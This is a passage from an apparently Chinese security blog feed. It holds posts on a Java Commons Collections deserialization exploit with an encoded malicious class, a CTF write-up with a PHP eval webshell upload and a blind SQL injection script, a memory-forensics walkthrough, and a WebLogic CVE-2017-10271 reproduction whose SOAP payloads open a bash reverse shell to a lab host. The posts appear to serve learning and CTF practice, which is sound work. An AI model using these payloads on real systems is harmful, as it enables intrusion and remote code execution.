Base64.getDecoder().decode("yv66vgAAADQAHgoABgARCgASABMIABQKABIAFQcAFgcAFwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAYAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAApTb3VyY2VGaWxlAQAOVG91Y2hGaWxlLmphdmEMAAcACAcAGQwAGgAbAQAEY2FsYwwAHAAdAQAJVG91Y2hGaWxlAQAQamF2YS9sYW5nL09iamVjdAEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAACAAEABwAIAAIACQAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQAKAAAADgADAAAAEAAEABEADQASAAsAAAAEAAEADAAJAA0ADgACAAkAAAAmAAIAAQAAAAq4AAISA7YABFexAAAAAQAKAAAACgACAAAAFgAJABcACwAAAAQAAQAMAAEADwAAAAIAEA==");</span></span><br><span class="line"> <span class="type">byte</span>[][] codes = {code};</span><br><span class="line"> bytecodesField.set(templates, codes);</span><br><span class="line"></span><br><span class="line"> <span class="type">Field</span> <span class="variable">tfactoryField</span> <span class="operator">=</span> temp.getDeclaredField(<span class="string">"_tfactory"</span>);</span><br><span class="line"> tfactoryField.setAccessible(<span class="literal">true</span>);</span><br><span class="line"> tfactoryField.set(templates, <span class="keyword">new</span> <span class="title class_">TransformerFactoryImpl</span>() {</span><br><span class="line"> });</span><br><span class="line"></span><br><span class="line"> <span class="type">InstantiateTransformer</span> <span class="variable">instantiateTransformer</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">InstantiateTransformer</span>(<span class="keyword">new</span> <span class="title class_">Class</span>[]{Templates.class}, <span class="keyword">new</span> <span class="title class_">Object</span>[]{templates});</span><br><span class="line"> instantiateTransformer.transform(TrAXFilter.class);</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment">// ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);</span></span><br><span class="line"> <span class="type">Map</span> <span class="variable">innerMap</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">HashMap</span>();</span><br><span class="line"></span><br><span class="line"> <span class="type">Map</span> <span class="variable">outerMap</span> <span class="operator">=</span> LazyMap.decorate(innerMap, instantiateTransformer);</span><br><span class="line"></span><br><span class="line"> <span class="type">Class</span> <span class="variable">clazz</span> <span class="operator">=</span> Class.forName(<span class="string">"sun.reflect.annotation.AnnotationInvocationHandler"</span>);</span><br><span class="line"> <span class="type">Constructor</span> <span class="variable">cons</span> <span class="operator">=</span> clazz.getDeclaredConstructor(Class.class, Map.class);</span><br><span class="line"> cons.setAccessible(<span class="literal">true</span>);</span><br><span class="line"> <span class="type">InvocationHandler</span> <span class="variable">handler</span> <span class="operator">=</span> (InvocationHandler) cons.newInstance(Retention.class, outerMap);</span><br><span class="line"></span><br><span class="line"> <span class="type">Map</span> <span class="variable">proxyMap</span> <span class="operator">=</span> (Map) Proxy.newProxyInstance(</span><br><span class="line"> Map.class.getClassLoader(),</span><br><span class="line"> <span class="keyword">new</span> <span class="title class_">Class</span>[]{Map.class},</span><br><span class="line"> handler</span><br><span class="line"> );</span><br><span class="line"> <span class="type">Object</span> <span class="variable">o</span> <span class="operator">=</span> cons.newInstance(Retention.class, proxyMap);</span><br><span class="line"> <span class="type">byte</span>[] bytes = serialize(o);</span><br><span class="line"> unserialize(bytes);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">unserialize</span><span class="params">(<span class="type">byte</span>[] bytes)</span> <span class="keyword">throws</span> Exception{</span><br><span class="line"> <span class="keyword">try</span>(<span class="type">ByteArrayInputStream</span> <span class="variable">bain</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ByteArrayInputStream</span>(bytes);</span><br><span class="line"> <span class="type">ObjectInputStream</span> <span class="variable">oin</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ObjectInputStream</span>(bain)){</span><br><span class="line"> oin.readObject();</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">static</span> <span class="type">byte</span>[] serialize(Object o) <span class="keyword">throws</span> Exception{</span><br><span class="line"> <span class="keyword">try</span>(<span class="type">ByteArrayOutputStream</span> <span class="variable">baout</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ByteArrayOutputStream</span>();</span><br><span class="line"> <span class="type">ObjectOutputStream</span> <span class="variable">oout</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ObjectOutputStream</span>(baout)){</span><br><span class="line"> oout.writeObject(o);</span><br><span class="line"> <span class="keyword">return</span> baout.toByteArray();</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>恶意类在上面写了</p><p>小问题:<br>这里直接把字节码写上去却不能执行<br>报错<br><img src="https://img-blog.csdnimg.cn/2ac5d1fd01d349499f1c91a2706a1451.png" alt="在这里插入图片描述"></p>]]></content>
<tags>
<tag> 代码审计 </tag>
<tag> Java安全 </tag>
</tags>
</entry>
<entry>
<title>NSSRound#1 Basic</title>
<link href="/2022/08/03/NSSRound1%20Basic/"/>
<url>/2022/08/03/NSSRound1%20Basic/</url>
<content type="html"><![CDATA[<h3 id="web"><a class="markdownIt-Anchor" href="#web">#</a> WEB</h3><h4 id="basic_check"><a class="markdownIt-Anchor" href="#basic_check">#</a> basic_check</h4><p>发现允许 PUT 方法请求</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/img/202306040109439.png" alt="image-20230604010937329"></p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">PUT /shell.php HTTP/1.1</span><br><span class="line">Host: 1.14.71.254:28848</span><br><span class="line">User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0</span><br><span class="line">Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8</span><br><span class="line">Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2</span><br><span class="line">Accept-Encoding: gzip, deflate</span><br><span class="line">Connection: close</span><br><span class="line">Upgrade-Insecure-Requests: 1</span><br><span class="line">Content-Type: application/x-www-form-urlencoded</span><br><span class="line">Content-Length: 24</span><br><span class="line"></span><br><span class="line"><?php eval($_POST[1]);?></span><br></pre></td></tr></table></figure><p>写入一句话<br> rce 即可</p><h3 id="basicsql_by_sql"><a class="markdownIt-Anchor" href="#basicsql_by_sql">#</a> Basic]sql_by_sql</h3><p>先注册,进去有个修改密码<br>可能是二次注入</p><p>修改密码处源码</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><!-- update user set password='%s' where username='%s'; --></span><br></pre></td></tr></table></figure><p>重新注册一个 <code>admin--+</code> <br> 获得 <code>admin</code> 身份</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/img/202306040110813.png" alt="image-20230604011013788"></p><p>在 <code>/query</code> 下查询</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/img/202306040110859.png" alt="image-20230604011022834"></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/python3</span></span><br><span class="line"><span class="comment"># -*- coding: utf-8 -*-</span></span><br><span class="line"><span class="comment"># @Time : 2022/8/3 21:42</span></span><br><span class="line"><span class="comment"># @Author : ki10Moc</span></span><br><span class="line"><span class="comment"># @FileName: [NSSRound#1 Basic]sql_by_sql.py</span></span><br><span class="line"><span class="comment"># @Software: PyCharm</span></span><br><span class="line"><span class="comment"># Link: ki10.top</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"><span class="keyword">import</span> string</span><br><span class="line"></span><br><span class="line"><span class="built_in">str</span> = string.ascii_letters + string.digits</span><br><span class="line"></span><br><span class="line">url = <span class="string">"http://1.14.71.254:28697/query"</span></span><br><span class="line">s = requests.session()</span><br><span class="line">headers = {<span class="string">'Cookie'</span>: <span class="string">'session=eyJyb2xlIjoxLCJ1c2VybmFtZSI6ImFkbWluIn0.YklOVg.Pz554uNEiaxxBCpP4pm7-G8iucg'</span>}</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">"__main__"</span>:</span><br><span class="line"> name = <span class="string">''</span></span><br><span class="line"> <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0</span>,<span class="number">100</span>):</span><br><span class="line"> char = <span class="string">''</span></span><br><span class="line"> <span class="keyword">for</span> j <span class="keyword">in</span> <span class="built_in">str</span>:</span><br><span class="line"> <span class="comment">#表+字段</span></span><br><span class="line"> <span class="comment">#payload = "1 and substr((select sql from sqlite_master limit 1,1),{},1)='{}'".format(i, j)</span></span><br><span class="line"> <span class="comment">#数据</span></span><br><span class="line"> payload = <span class="string">"1 and substr((select flag from flag limit 0,1),{},1)='{}'"</span>.<span class="built_in">format</span>(i, j)</span><br><span class="line"> data = {<span class="string">"id"</span>: payload}</span><br><span class="line"> r = s.post(url=url, data=data, headers=headers)</span><br><span class="line"> <span class="comment">#print(r.text)</span></span><br><span class="line"> <span class="keyword">if</span> <span class="string">"exist"</span> <span class="keyword">in</span> r.text:</span><br><span class="line"> name += j</span><br><span class="line"> <span class="built_in">print</span> (j, end=<span class="string">''</span>)</span><br><span class="line"> char = j</span><br><span class="line"> <span class="keyword">break</span></span><br><span class="line"> <span class="keyword">if</span> char == <span class="string">'%'</span>:</span><br><span class="line"> <span class="keyword">break</span></span><br></pre></td></tr></table></figure><h4 id="misc"><a class="markdownIt-Anchor" href="#misc">#</a> MISC</h4><h3 id="cut_into_thirds"><a class="markdownIt-Anchor" href="#cut_into_thirds">#</a> cut_into_thirds</h3><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python vol.py -f ./cut_into_thirds.raw imageinfo</span><br></pre></td></tr></table></figure><p>得到版本号</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/img/202306040110073.png" alt="image-20230604011043989"></p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python vol.py -f ./cut_into_thirds.raw --profile=Win7SP1x64 pslist</span><br></pre></td></tr></table></figure><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/img/202306040110207.png" alt="image-20230604011056088"></p><p>这有个引人注意的进程</p><p>获取 dump 文件</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python vol.py -f ./cut_into_thirds.raw --profile=Win7SP1x64 memdump -p 1164 -D ./ </span><br></pre></td></tr></table></figure><p><code>foremost</code> 分离得到 <code>part1</code></p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">part1:3930653363343839PK?</span><br></pre></td></tr></table></figure><p>直接 dump 目标文件</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python vol.py -f ./cut_into_thirds.raw --profile=Win7SP1x64 procdump -p 1164 -D ./ </span><br></pre></td></tr></table></figure><p>并查找相关信息</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">strings ./executable.1164.exe </span><br></pre></td></tr></table></figure><p>得到 <code>part2</code></p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">part2:GRRGGYJNGQ4GKMBNMJRTONI=</span><br></pre></td></tr></table></figure><p>最后查看用户信息得到 part3</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/img/202306040111190.png" alt="image-20230604011108142"></p><p>分别进行 base16、32、64 解密即可</p>]]></content>
<tags>
<tag> CTF </tag>
<tag> 取证 </tag>
</tags>
</entry>
<entry>
<title>Weblogic反序列化漏洞(CVE-2017-10271)</title>
<link href="/2022/08/03/Weblogic%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E(CVE-2017-10271)/"/>
<url>/2022/08/03/Weblogic%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E(CVE-2017-10271)/</url>
<content type="html"><![CDATA[<h3 id="复现"><a class="markdownIt-Anchor" href="#复现">#</a> 复现</h3><p>[参考](<a href="https://xz.aliyun.com/t/10172">weblogic 漏洞分析之 CVE-2017-10271 - 先知社区 (aliyun.com)</a>)</p><p><code>vulhub</code> 一键部署</p><p><img src="https://img-blog.csdnimg.cn/f7084f71295643d3958c2543d71d53d0.png" alt="img"></p><p>远程调试没问题</p><h3 id="反弹shell"><a class="markdownIt-Anchor" href="#反弹shell">#</a> 反弹 shell</h3><p><img src="https://img-blog.csdnimg.cn/c8c2305bb4044854af43170399edfaca.png" alt="img"></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre></td><td class="code"><pre><span class="line">POST /wls-wsat/CoordinatorPortType HTTP/<span class="number">1.1</span></span><br><span class="line">Host: <span class="number">192.168</span><span class="number">.30</span><span class="number">.140</span>:<span class="number">7001</span></span><br><span class="line">Cache-Control: max-age=<span class="number">0</span></span><br><span class="line">Upgrade-Insecure-Requests: <span class="number">1</span></span><br><span class="line">User-Agent: Mozilla/<span class="number">5.0</span> (Windows NT <span class="number">10.0</span>; Win64; x64) AppleWebKit/<span class="number">537.36</span> (KHTML, like Gecko) Chrome/<span class="number">97.0</span><span class="number">.4692</span><span class="number">.99</span> Safari/<span class="number">537.36</span></span><br><span class="line">Accept: text/html,application/xhtml+xml,application/xml;q=<span class="number">0.9</span>,image/avif,image/webp,image/apng,*<span class="comment">/*;q=0.8,application/signed-exchange;v=b3;q=0.9</span></span><br><span class="line"><span class="comment">Accept-Encoding: gzip, deflate</span></span><br><span class="line"><span class="comment">Accept-Language: zh-CN,zh;q=0.9</span></span><br><span class="line"><span class="comment">Connection: close</span></span><br><span class="line"><span class="comment">Content-Type: text/xml;charset=UTF-8</span></span><br><span class="line"><span class="comment">Content-Length: 642</span></span><br><span class="line"><span class="comment"></span></span><br><span class="line"><span class="comment"><soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"></span></span><br><span class="line"><span class="comment"><soapenv:Header></span></span><br><span class="line"><span class="comment"><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"></span></span><br><span class="line"><span class="comment"><java version="1.4.0" class="java.beans.XMLDecoder"></span></span><br><span class="line"><span class="comment"><void class="java.lang.ProcessBuilder"></span></span><br><span class="line"><span class="comment"><array class="java.lang.String" length="3"></span></span><br><span class="line"><span class="comment"><void index="0"></span></span><br><span class="line"><span class="comment"><string>/bin/bash</string></span></span><br><span class="line"><span class="comment"></void></span></span><br><span class="line"><span class="comment"><void index="1"></span></span><br><span class="line"><span class="comment"><string>-c</string></span></span><br><span class="line"><span class="comment"></void></span></span><br><span class="line"><span class="comment"><void index="2"></span></span><br><span class="line"><span class="comment"><string>bash -i &gt;&amp; /dev/tcp/192.168.30.128/4444 0&gt;&amp;1</string></span></span><br><span class="line"><span class="comment"></void></span></span><br><span class="line"><span class="comment"></array></span></span><br><span class="line"><span class="comment"><void method="start"/></void></span></span><br><span class="line"><span class="comment"></java></span></span><br><span class="line"><span class="comment"></work:WorkContext></span></span><br><span class="line"><span class="comment"></soapenv:Header></span></span><br><span class="line"><span class="comment"><soapenv:Body/></span></span><br><span class="line"><span class="comment"></soapenv:Envelope></span></span><br></pre></td></tr></table></figure><p><img src="https://img-blog.csdnimg.cn/d5c90d9755434efda8ccde0f5f1dfb52.png" alt="img"></p><p>这里是用工具写入内存马再去连接的,冰蝎 4.0.1 似乎连不上,因为秘钥是写在代码中的<br>这里注入内存马是单独设置的密码<br>还是使用的 3.x 版本去连接的</p><p><img src="https://img-blog.csdnimg.cn/376bb50ad359422a8dcd07519b87afc9.png" alt="在这里插入图片描述"></p><p><img src="https://img-blog.csdnimg.cn/28eb7a639c5147a887b7fcd5634d8b34.png" alt="在这里插入图片描述"></p><h3 id="漏洞分析"><a class="markdownIt-Anchor" href="#漏洞分析">#</a> 漏洞分析</h3><p>本文的重点还是放在代码上</p><p>CVE-2017-10271 漏洞主要是由 WebLogic Server WLS 组件远程命令执行漏洞</p><p><code>http://url:port/wls-wsat/CoordinatorPortType</code> <br> <code>post</code> 发送数据包<br>再构造 <code>SOAP(XML)</code> 格式的请求解析过程中触发 <code>XMLDecoder</code> 反序列化漏洞</p><p>由于 class 体量太大<br>这里我就反编译了 weblogic 的 jar<br><a href="https://pan.baidu.com/s/1GFvMLPYZiXeH3sGqmPMVfg"> 需者自取</a><br>提取码:9x8l</p><p>在 <code>wlserver_10.3\server\lib\weblogic.jar!\weblogic\wsee\jaxws\workcontext\WorkContextServerTube.class</code> 的 <code>processRequest</code> 方法</p><p>这里的 <code>var1</code> 传入的是 XML 数据<br><img src="https://img-blog.csdnimg.cn/aef55397000347c3acbf8f3409180484.png" alt="在这里插入图片描述"><br>经过修饰后变成 <code>var3</code> 进入到 <code>readHeaderOld</code> 方法</p><p>前面的获取了 <code>POST</code> 数据包中 <code>XML</code> 参数<br>后面通过 <code>ByteArrayInputStream</code> 将 XML 数据变成字节数组输出流赋值给 <code>var4</code> <br><img src="https://img-blog.csdnimg.cn/b74d8c526cdc41ba9afb673c35fbe8d3.png" alt="在这里插入图片描述"></p><p>这里如果调试成功的是可以看到 <code>var4</code> 的格式就是 <code>poc</code> 中的 XML 部分</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><java version=<span class="string">"1.7.0_80"</span> class=<span class="string">"java.beans.XMLDecoder"</span>> </span><br><span class="line"> <<span class="keyword">new</span> <span class="title class_">class</span>=<span class="string">"java.lang.ProcessBuilder"</span>> </span><br><span class="line"> <string>calc</string><method name=<span class="string">"start"</span>/> </span><br><span class="line"> </<span class="keyword">new</span>> </span><br><span class="line"></java> </span><br></pre></td></tr></table></figure><p><code>var4.toByteArray()</code> :将 <code>var4</code> 的内容转为字节数组,然后传入 <code>ByteArrayInputStream</code> 转化为流。<br> <code>WorkContextXmlInputAdapter</code> 类,将接受道德输入流再转换成 <code>XMLDecoder</code> <br><img src="https://img-blog.csdnimg.cn/d4a98010a13f48bf8af016680c46be1a.png" alt="在这里插入图片描述"></p><p>之后进入执行 <code>receive( )</code> 函数。<br>跟进到 <code>WorkContextLocalMap</code> 类下的 <code>receiveRequest</code> 方法</p><p>其中调用了 <code>WorkContextEntryImpl</code> 的 <code>readEntry</code> 方法<br><img src="https://img-blog.csdnimg.cn/f6a5f118396143f0826125b27611c0f4.png" alt="在这里插入图片描述"><br>最后到 <code>WorkContextXmlInputAdapter</code> 下的 <code>readUTF</code> <br><img src="https://img-blog.csdnimg.cn/0d463266667649258329e854d8cecfd9.png" alt="在这里插入图片描述"></p><p>此处调用了 <code>xmlDecoder.readObject</code></p><p>最终执行了执行了 XML 数据中的 <code>ProcessBuilder.start()</code></p><h3 id="poc"><a class="markdownIt-Anchor" href="#poc">#</a> poc</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><soapenv:Envelope xmlns:soapenv=<span class="string">"http://schemas.xmlsoap.org/soap/envelope/"</span>></span><br><span class="line"><soapenv:Header></span><br><span class="line"><work:WorkContext xmlns:work=<span class="string">"http://bea.com/2004/06/soap/workarea/"</span>></span><br><span class="line"><java version=<span class="string">"1.4.0"</span> class=<span class="string">"java.beans.XMLDecoder"</span>></span><br><span class="line"><<span class="keyword">void</span> class=<span class="string">"java.lang.ProcessBuilder"</span>></span><br><span class="line"><array class=<span class="string">"java.lang.String"</span> length=<span class="string">"3"</span>></span><br><span class="line"><<span class="keyword">void</span> index=<span class="string">"0"</span>></span><br><span class="line"><string>/bin/bash</string></span><br><span class="line"></<span class="keyword">void</span>></span><br><span class="line"><<span class="keyword">void</span> index=<span class="string">"1"</span>></span><br><span class="line"><string>-c</string></span><br><span class="line"></<span class="keyword">void</span>></span><br><span class="line"><<span class="keyword">void</span> index=<span class="string">"2"</span>></span><br><span class="line"><string>bash -i &gt;&amp; /dev/tcp/<span class="number">192.168</span><span class="number">.30</span><span class="number">.129</span>/<span class="number">7890</span> <span class="number">0</span>&gt;&amp;<span class="number">1</span></string></span><br><span class="line"></<span class="keyword">void</span>></span><br><span class="line"></array></span><br><span class="line"><<span class="keyword">void</span> method=<span class="string">"start"</span>/></<span class="keyword">void</span>></span><br><span class="line"></java></span><br><span class="line"></work:WorkContext></span><br><span class="line"></soapenv:Header></span><br><span class="line"><soapenv:Body/></span><br><span class="line"></soapenv:Envelope></span><br></pre></td></tr></table></figure>]]></content>
<tags>
<tag> Java安全 </tag>
<tag> CVE </tag>
</tags>
</entry>
<entry>
<title>Commons Collections2</title>
<link href="/2022/08/02/Commons%20Collections2/"/>
<url>/2022/08/02/Commons%20Collections2/</url>
<content type="html"><![CDATA[<h3 id="前言"><a class="markdownIt-Anchor" href="#前言">#</a> 前言</h3><p>这里需要掌握一点 <code>Javassist</code> 和类加载的基础<br>下面直接开始</p><h3 id="利用链"><a class="markdownIt-Anchor" href="#利用链">#</a> 利用链</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">Gadget chain:</span><br><span class="line"> ObjectInputStream.readObject()</span><br><span class="line"> PriorityQueue.readObject()</span><br><span class="line"> ...</span><br><span class="line"> TransformingComparator.compare()</span><br><span class="line"> InvokerTransformer.transform()</span><br><span class="line"> Method.invoke()</span><br><span class="line"> Runtime.exec()</span><br></pre></td></tr></table></figure><p>学习过 cc1 的都知道,在 8u71 版本后该链子无法利用,因为对 <code>AnnotationInvocationHandler</code> 的序列化操作 <code>readObject</code> 进行了改写</p><p>cc2 也可以理解为 cc1 的延续,通过 <code>javassist</code> 和 <code>PriorityQueue</code> 来进行构造</p><p>这边还是从一个简单的 demo 入手并熟悉一下用到的方法</p><h4 id="javassist操作字节码"><a class="markdownIt-Anchor" href="#javassist操作字节码">#</a> Javassist 操作字节码</h4><p>首先要知道 Java 实际运行的代码是.class 的二进制文件,class 就是 java 文件编译来的,在已经编译好的类中可以修改原有属性或者自己重写方法</p><p>来看下面一段代码, <code>maerClassInitializer</code> 在类中生成静态方法,并插入一段我们自己编写的恶意代码</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">cc2test</span> {</span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> NotFoundException, CannotCompileException, IOException, IllegalAccessException, InstantiationException {</span><br><span class="line"> <span class="type">ClassPool</span> <span class="variable">pool</span> <span class="operator">=</span> ClassPool.getDefault();<span class="comment">//获取类搜索路径</span></span><br><span class="line"> <span class="type">CtClass</span> <span class="variable">clazz</span> <span class="operator">=</span> pool.get(cc2test.class.getName());</span><br><span class="line"> <span class="type">String</span> <span class="variable">cmd</span> <span class="operator">=</span> <span class="string">"java.lang.Runtime.getRuntime().exec(\"calc\");"</span>;</span><br><span class="line"> clazz.makeClassInitializer().insertBefore(cmd);<span class="comment">//在static前面插入</span></span><br><span class="line"> clazz.makeClassInitializer().insertAfter(cmd);<span class="comment">//在static后面插入</span></span><br><span class="line"> <span class="type">String</span> <span class="variable">Name</span> <span class="operator">=</span> <span class="string">"ki10MOc"</span>;</span><br><span class="line"> clazz.setName(Name);</span><br><span class="line"> clazz.writeFile(<span class="string">"./evil.class"</span>);</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>这里会在当前目录下 evil.class 生成一个名为 ki10Moc 的 class 文件<br><img src="https://img-blog.csdnimg.cn/7e9dd2372aea4a93b66c1e94c797f236.png" alt="在这里插入图片描述"></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">U</span> <span class="keyword">extends</span> <span class="title class_">ClassLoader</span>{</span><br><span class="line"> U(ClassLoader c){<span class="comment">//构造方法的ClassLoader类型参数</span></span><br><span class="line"> <span class="built_in">super</span>(c);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">public</span> Class <span class="title function_">g</span><span class="params">(<span class="type">byte</span> []b)</span>{</span><br><span class="line"> <span class="keyword">return</span> <span class="built_in">super</span>.defineClass(b,<span class="number">0</span>,b.length);<span class="comment">//加载字节码</span></span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>并且将生成恶意 class 文件的代码修改为</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">final</span> <span class="type">byte</span>[] classBytes = clazz.toBytecode();<span class="comment">//获取字节码</span></span><br><span class="line"><span class="keyword">new</span> <span class="title class_">U</span>(cc2test.class.getClassLoader()).g(classBytes).newInstance();<span class="comment">//加载字节码并创建对象</span></span><br></pre></td></tr></table></figure><p>就成功弹出了计算器</p><p><img src="https://img-blog.csdnimg.cn/0a05f78e384d406aaefb5b5bab1b8b40.png" alt="在这里插入图片描述"></p><h4 id="templateslmpl"><a class="markdownIt-Anchor" href="#templateslmpl">#</a> Templateslmpl</h4><p>学习过的都知道这条链子可以执行字节码<br>其是在 <code>TransletClassLoader</code> 中的 <code>defineClass</code></p><p>这里就是加载的参数,其中第二个就是我们可以构造的恶意字节码<br><img src="https://img-blog.csdnimg.cn/54c5030cd4bc4edcabd4c6d5bc9d560a.png" alt="在这里插入图片描述"><br><img src="https://img-blog.csdnimg.cn/ec8fc2585b714e38bc026692c0d9dd49.png" alt="在这里插入图片描述"></p><p>但通过观察 <code>defineClass</code> 发现是一个保护类,那我们调用就需要找到一个公共类</p><p>在 <code>Templateslmpl</code> 下存在一处为声明的,也就是 default 类型的<br><img src="https://img-blog.csdnimg.cn/535e8a6b7e794075a767ebda656ab200.png" alt="在这里插入图片描述"><br>调用的位置是当前文件下的 